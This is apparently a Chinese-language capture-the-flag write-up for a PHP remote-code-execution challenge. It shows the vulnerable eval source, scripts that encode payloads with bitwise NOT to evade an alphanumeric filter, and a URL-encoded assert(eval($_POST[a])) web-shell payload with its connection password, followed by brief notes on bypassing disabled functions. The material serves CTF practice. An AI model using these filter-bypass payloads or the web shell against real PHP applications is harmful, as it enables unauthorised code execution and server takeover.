[極客大挑戰 2019]RCE ME
<?php
error_reporting(0);
if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}
else{highlight_file(__FILE__);
}// ?>
取反和異或均可繞過
<?php
$c='phpinfo()';
$d=urlencode(~$c);
$e=~($d);
if(preg_match("/[A-Za-z0-9]+/",$e)){echo 0;
}else {echo 1;
}?>
這個取反號寫在外面也沒事,慢慢試就發現寫里面才有效
?code=(~%8F%97%8F%96%91%99%90)();
然后我找了一下flag發現沒有,然后又找了一下不能使用的函數
7.0的版本我們還需要
我們需要調用eval拼接為assert(eval($_POST[a]))
<?php
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "\n";
$c='eval($_POST[a])';
$d=urlencode(~$c);
echo $d;?>
?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);
然后鏈接
http://a967fa8b-203d-4c2a-b4ab-11c784927d01.node5.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);
密碼是a
進入之后flag里面沒有flag而readflag是一個程序
進入虛擬終端沒有權限
使用插件
php7這兩個都可以,我們剛才看了php版本的